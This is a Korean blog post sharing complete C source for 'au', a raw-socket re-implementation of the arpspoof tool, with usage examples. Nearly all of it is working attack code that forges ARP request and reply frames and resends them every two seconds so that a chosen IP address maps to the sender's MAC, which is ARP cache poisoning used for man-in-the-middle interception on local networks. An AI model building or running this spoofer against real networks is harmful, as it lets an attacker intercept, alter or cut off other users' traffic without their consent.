arpspoof가 libnet과 libpcap이 필요해서 그냥 한번 raw socket으로만으로 되게 만들어봤습니다.
사용법은
au [-r] -i <ethernet interface> -t <target ip> <source ip>
exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST
au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY
// au.c
// gcc -o au au.c
// auther : http://fehead.tistory.com
#include <stdio.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>// struct sockaddr_ll
#include <sys/ioctl.h> // struct ifreq
#include <strings.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <signal.h>
typedef unsigned char uchar;
typedef unsigned short ushort;
// ethernet frame header.
struct eth_hdr
{
uchar h_dest[6]; // destination ether addr
uchar h_source[6]; // source ether addr
ushort h_proto; // packet type ID field
} __attribute__((packed));
static const int ETHERNET_SIZE = sizeof(struct eth_hdr);
// ARP header
struct arp_hdr
{
ushort ar_hrd; // Hardware type : ethernet
ushort ar_pro; // Protocol : IP
uchar ar_hln; // Hardware size
uchar ar_pln; // Protocal size
ushort ar_op; // Opcode replay
uchar ar_sha[6]; // Sender MAC
uchar ar_sip[4]; // Sender IP
uchar ar_tha[6]; // Target mac
uchar ar_tip[4]; // Target IP
} __attribute__((packed));
static const int ARP_SIZE = sizeof(struct arp_hdr);
static uchar g_buf[sizeof(struct eth_hdr)+sizeof(struct arp_hdr)];
static const char * g_source_ip = NULL;
static const char * g_interface = NULL;
static int g_sock = -1;
// dumps raw memory in hex byte and printable split format
void dump(const uchar *data_buffer, const unsigned int length) {
uchar byte;
unsigned int i, j;
for(i=0; i < length; i++) {
byte = data_buffer[i];
printf("%02x ", data_buffer[i]); // display byte in hex
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("\n"); // end of the dump line (each line 16 bytes)
} // end if
} // end for
}
// get interface mac addr.
// exam) interface2mac("eth0", buf);
// return : 1 success
// : 0 failure
int interface2mac(const char * interface, uchar * mac)
{
int fd = socket(PF_INET, SOCK_STREAM, 0);
if(fd == -1)
{
perror("socket");
return 0;
}
struct ifreq iflist;
bzero(&iflist, sizeof(iflist));
strncpy(iflist.ifr_name, interface, sizeof(iflist.ifr_name));
if(ioctl(fd, SIOCGIFHWADDR, &iflist) == -1)
{
perror("ioctl failed");
return 0;
}
struct sockaddr * sa = &iflist.ifr_hwaddr;
memcpy(mac, sa->sa_data, 6);
close(fd);
#ifdef _DEBUG
printf("interface2mac: %s\n", interface);
dump(mac, 6);
#endif // _DEBUG
return 1;
}
// get mac address to arp cash.
// exam) get_arp_to_arpcash(ip)
// return : 1 success
// : 0 failure
int get_arp_to_arpcash(unsigned long ip)
{
int fd = 0;
if((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return 0;
struct sockaddr_in sin;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(67);
int i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
// get MAC address from ip, interface
// exam) arp_cash_lookup("eth0", ip, buf)
// return : 1 success
// : 0 failure
int arp_cash_lookup(const char * interface, unsigned long ip, uchar * mac)
{
int sock = 0;
struct arpreq ar;
struct sockaddr_in * sin = 0;
bzero(&ar, sizeof(ar));
strncpy(ar.arp_dev, interface, sizeof(ar.arp_dev));
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip;
if((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
return 0;
if(ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1)
{
close(sock);
return 0;
}
close(sock);
memcpy(mac, ar.arp_ha.sa_data, 6);
return 1;
}
// string to mac address
// exam) "01:02:03:0d:0e:0f" --> "\x01\x02\0x03\x0d\x0e\x0f"
// return : 1 success
// : 0 failure
int str2mac(const char * str_mac, uchar * mac)
{
int ret = sscanf(str_mac, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
&mac[0], &mac[1], &mac[2],
&mac[3], &mac[4], &mac[5]);
#ifdef _DEBUG
int i = 0;
printf("MAC : ");
for(i = 0 ; i < 6 ; ++i)
printf("%hhx:", mac[i]);
printf("\n");
#endif // _DEBUG
return ret;
}
// string to ip.
// exam) "192.168.0.1" --> "\xc0\xa8\x00\x01"
// return : 1 success
// : 0 failure
int str2ip(const char * str_ip, uchar * ip)
{
int ret = sscanf(str_ip, "%hhu.%hhu.%hhu.%hhu",
&ip[0], &ip[1], &ip[2], &ip[3]);
#ifdef _DEBUG
int i = 0;
printf("IP : ");
for(i = 0 ; i < 4 ; ++i)
printf("%hhu.", ip[i]);
printf("\n");
#endif // _DEBUG
return ret;
}
// convert ip to mac address
// exam) ip2mac("eth0", "192.168.0.10", buf);
// return : 1 success
// : 0 failure
int ip2mac(const char * intf, const char * str_ip, uchar * mac)
{
int i = 0;
unsigned int ip = 0;
if(str2ip(str_ip, (uchar *)&ip) == 0)
return 0;
do
{
if(arp_cash_lookup(intf, ip, mac) == 1)
{
#ifdef _DEBUG
printf("ip2mac: %s\n", str_ip);
dump(mac, 6);
#endif // _DEBUG
return 1;
}
get_arp_to_arpcash(ip);
sleep(1);
}
while(i++ < 3);
return 0;
}
// init arp packet.
void init_packet(struct eth_hdr * e, struct arp_hdr * a, int reply)
{
bzero(e, sizeof(*e));
memset(e->h_dest, 0xff, sizeof(e->h_dest));
e->h_proto = htons(0x0806); // ARP protocol
bzero(a, sizeof(*a));
a->ar_hrd = htons(0x0001); // Ethernet 10/100Mbps.
a->ar_pro = htons(0x0800); // IP protocol
a->ar_hln = 6; // hardware len
a->ar_pln = 4; // protocol len
if(reply == 1)
a->ar_op = htons(0x0002); // 1 :request, 2 :reply
else
a->ar_op = htons(0x0001); // 1 :request, 2 :reply
#ifdef _DEBUG
printf("init_packet Ethernet Header:\n");
dump((uchar *)e, sizeof(*e));
printf("init_packet ARP Header:\n");
dump((uchar *)a, sizeof(*a));
#endif // _DEBUG
}
// create rawsocket.
// exam) rawsocket("eth0")
// return -1 : failure.
// 0 <= : success.
int rawsocket(const char * interface)
{
int fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(fd == -1)
{
perror("socket create:");
return -1;
}
struct ifreq ifr;
bzero(&ifr, sizeof(ifr));
// select network interface ex) "eth0"
strcpy((char *)ifr.ifr_name, interface);
if(ioctl(fd, SIOCGIFINDEX, &ifr) == -1)
{
perror("error getting interface index\n");
close(fd);
return -1;
}
struct sockaddr_ll sll;
bzero(&sll, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifr.ifr_ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
if(bind(fd, (struct sockaddr*)&sll, sizeof(sll)) == -1)
{
perror("Error binding raw socket to interface\n");
close(fd);
return -1;
}
return fd;
}
void sig_cleanup(int signo)
{
printf("clean up\n");
struct eth_hdr * ether = (struct eth_hdr *)g_buf;
struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE);
uchar source_mac[6] = { 0, };
if(g_sock != -1 && ip2mac(g_interface, g_source_ip, source_mac) == 1)
{
// set source mac to original mac address
memcpy(ether->h_source, source_mac, 6);
memcpy(arp->ar_sha, source_mac, 6);
int i = 0;
for(i = 0 ; i < 3 ; ++i)
{
write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE);
sleep(1);
}
close(g_sock);
}
exit(0);
}
void usage()
{
printf( "au [-r] -i <ethernet interface> -t <target ip> <source ip>\n"
" exam) au -i eth0 192.168.0.10 192.168.0.5 : ARP REQUEST\n"
" au -r -i eth0 192.168.0.10 192.168.0.1 : ARP REPLY\n");
exit(1);
}
// au -i eth0 -t 192.168.0.10 192.168.0.1
int main(int argc, char * argv[])
{
const char * target_ip = NULL;
int reply = 0; // ARP reply
g_interface = "eth0";
int c = 0;
while((c = getopt(argc, argv, "ri:t:")) != -1)
{
switch(c)
{
case 'i':
g_interface = optarg;
break;
case 't':
target_ip = optarg;
break;
case 'r': // ARP REPLY
reply = 1;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if(argc != 1)
usage();
g_source_ip = argv[0];
bzero(g_buf, sizeof(g_buf));
struct eth_hdr * ether = (struct eth_hdr *)g_buf;
struct arp_hdr * arp = (struct arp_hdr *)(g_buf+ETHERNET_SIZE);
init_packet(ether, arp, reply);
if(interface2mac(g_interface, ether->h_source) == 0 ||
ip2mac(g_interface, target_ip, ether->h_dest) == 0 ||
str2ip(g_source_ip, arp->ar_sip) == 0 ||
str2ip(target_ip, arp->ar_tip) == 0)
{
usage();
}
if(reply)
{
// ether->h_source == my mac OK
// ether->h_dest == target mac OK
// arp->ar_sha == my mac
memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha));
// arp->ar_sip == source ip OK
// arp->ar_tha == target mac
memcpy(arp->ar_tha, ether->h_dest, sizeof(arp->ar_tha));
// arp->ar_tip == target ip OK
}
else
{
// ether->h_source == my mac OK
// ether->h_dest == "\xff\xff\xff\xff\xff\xff"
memset(ether->h_dest, 0xff, 6);
// arp->ar_sha == my mac
memcpy(arp->ar_sha, ether->h_source, sizeof(arp->ar_sha));
// arp->ar_sip == my ip OK source ip is my ip
// arp->ar_tha == "\x00\x00\x00\x00\x00\x00"
memset(arp->ar_tha, 0, 6);
// arp->ar_tip == target ip OK
signal(SIGINT, &sig_cleanup);
}
#ifdef _DEBUG
printf("Ethernet Header:\n");
dump((uchar *)ether, sizeof(*ether));
printf("ARP Header:\n");
dump((uchar *)arp, sizeof(*arp));
#endif // _DEBUG
// create rawsocket
g_sock = rawsocket(g_interface);
if(g_sock == -1)
return 1;
for(;;)
{
putchar('.'); fflush(stdout);
if(write(g_sock, g_buf, ETHERNET_SIZE+ARP_SIZE) < 1)
{
perror("write");
break;
}
if(reply != 1)
break;
sleep(2);
}
close(g_sock);
return 0;
}